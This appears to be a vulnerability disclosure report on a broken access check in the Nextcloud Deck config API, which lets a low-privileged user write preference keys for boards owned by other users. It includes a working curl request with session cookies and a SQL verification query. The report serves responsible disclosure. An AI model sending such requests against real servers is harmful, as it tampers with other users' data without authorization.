Arbitrary Board Preference Injection via Deck Config API

How it was found

Summary:

The Deck config API allows authenticated users to set board-scoped configuration keys for arbitrary board IDs without validating whether the user owns or has permission to manage the referenced board. I confirmed that a low-privileged user (test100_1) can successfully store board:28:notify-due in oc_preferences even though board 28 belongs to admin.

Steps To Reproduce:

1. Login to Nextcloud with a low-privileged user account: test100_1

2. Identify a board owned by another user For example:

• Board ID: 28
• Owner: admin

{F5516522}

3. Send the configuration request. Execute the following request with your authenticated session:

curl -i -X POST \
  'http://172.16.88.94:8081/ocs/v2.php/apps/deck/api/v1.0/config/board:28:notify-due' \
  -H 'OCS-APIRequest: true' \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -b 'oc_sessionPassphrase=KFHmp5NgfZY%2BHJbk6pG9quGlBi2sMQPV45I%2F%2Ff7%2F0dp2xX30luSYkA3w2tkmxNQ%2B75uuu7o0D9dICjorJ5D%2Fz%2F5o32sdCW0ngwzPF3%2BDy2BxKGZJ%2BfNNSNzYSgI%2BRUTZ; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocrzkzhsljc2=806c5c11eef79e34c55f8a5cb157efe6; nc_username=test100_1; nc_token=MZY4g59OINcHMDawLMh%2B15zhbo0%2BnD%2FV; nc_session_id=806c5c11eef79e34c55f8a5cb157efe6' \
  -d '{"value": "all"}'

4. Observe server response

{F5516519}

This indicates that the configuration value was stored successfully.

5. Verify database entry. Check the oc_preferences table:

SELECT userid, appid, configkey, configvalue
FROM oc_preferences
WHERE configkey = 'board:28:notify-due';

{F5516521}

This confirms that the configuration key was written to the database even though the board belongs to another user.

Impact

This vulnerability allows authenticated users to set board-scoped configuration values for arbitrary board IDs, including boards owned by other users.

Potential impacts include:

• Unauthorized modification of board-related settings

• Manipulation of notification preferences associated with other users' boards

• Integrity issues in the board configuration system

• Potential unexpected behavior if additional board configuration keys are introduced in future versions

Because the API trusts the board:<boardId>:<key> structure without validating board access, attackers can store arbitrary board configuration entries for any board ID.